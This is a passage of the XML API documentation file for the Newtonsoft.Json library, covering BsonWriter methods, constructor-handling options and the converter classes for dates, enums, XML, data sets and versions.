cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteObjectId(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value that represents a BSON object id.\n            </summary>\n            <param name=\"value\">The Object ID value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRegex(System.String,System.String)\">\n            <summary>\n            Writes a BSON regex.\n            </summary>\n            <param name=\"pattern\">The regex pattern.</param>\n            <param name=\"options\">The regex options.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ConstructorHandling\">\n            <summary>\n            Specifies how constructors are used when initializing objects during deserialization by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.Default\">\n            <summary>\n            First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.AllowNonPublicDefaultConstructor\">\n            <summary>\n            Json.NET will use a non-public default constructor before falling back to a parameterized constructor.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BinaryConverter\">\n            <summary>\n            Converts a binary value to and from a base 64 string value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BsonObjectIdConverter\">\n            <summary>\n            Converts a <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.CustomCreationConverter`1\">\n            <summary>\n            Creates a custom object.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.Create(System.Type)\">\n            <summary>\n            Creates an object which will then be populated by the serializer.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The created object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataSetConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataSet\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataTableConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataTable\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DateTimeConverterBase\">\n            <summary>\n            Provides a base class for converting a <see cref=\"T:System.DateTime\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DateTimeConverterBase.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.EntityKeyMemberConverter\">\n            <summary>\n            Converts an Entity Framework <see cref=\"T:System.Data.EntityKeyMember\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.IsoDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from the ISO 8601 date format (e.g. <c>\"2008-04-12T12:53Z\"</c>).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeStyles\">\n            <summary>\n            Gets or sets the date time styles used when converting a date to and from JSON.\n            </summary>\n            <value>The date time styles used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeFormat\">\n            <summary>\n            Gets or sets the date time format used when converting a date to and from JSON.\n            </summary>\n            <value>The date time format used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.Culture\">\n            <summary>\n            Gets or sets the culture used when converting a date to and from JSON.\n            </summary>\n            <value>The culture used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from a JavaScript <c>Date</c> constructor (e.g. <c>new Date(52231943)</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.KeyValuePairConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Collections.Generic.KeyValuePair`2\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.RegexConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Text.RegularExpressions.Regex\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.StringEnumConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Enum\"/> to and from its name string value.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.CamelCaseText\">\n            <summary>\n            Gets or sets a value indicating whether the written enum text should be camel case.\n            The default value is <c>false</c>.\n            </summary>\n            <value><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how enum text is written.\n            </summary>\n            <value>The naming strategy used to resolve how enum text is written.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.AllowIntegerValues\">\n            <summary>\n            Gets or sets a value indicating whether integer values are allowed when serializing and deserializing.\n            The default value is <c>true</c>.\n            </summary>\n            <value><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"camelCaseText\"><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(Newtonsoft.Json.Serialization.NamingStrategy,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategy\">The naming strategy used to resolve how enum text is written.</param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[],System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            <c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.UnixDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from Unix epoch time\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.VersionConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Version\"/> to and from a string (e.g. <c>\"1.2.3.4\"</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.XmlNodeConverter\">\n            <summary>\n            Converts XML to and from JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.DeserializeRootElementName\">\n            <summary>\n            Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements.\n            </summary>\n            <value>The name of the deserialized root element.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.WriteArrayAttribute\">\n            <summary>\n            Gets or sets a value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </summary>\n            <value><c>true</c> if the array attribute is written to the XML; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.OmitRootObject\">\n            <summary>\n            Gets or sets a value indicating whether to write the root JSON object.\n            </summary>\n            <value><c>true</c> if the JSON root object is omitted; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.EncodeSpecialCharacters\">\n            <summary>\n            Gets or sets a value indicating whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </summary>\n            <value><c>true</c> if special characters are encoded; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.IsNamespaceAttribute(System.String,System.String@)\">\n            <summary>\n            Checks if the <paramref name=\"attributeName\"/> is a namespace attribute.\n            </summary>\n            <param name=\"attributeName\">Attribute name to test.</param>\n            <param name=\"prefix\">The attribute name prefix if it has one, otherwise an empty string.</param>\n            <returns><c>true</c> if attribute name is for a namespace attribute, otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateFormatHandling\">\n            <summary>\n            Specifies how dates are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\">\n            <summary>\n            Dates are written in the ISO 8601 format, e.g. 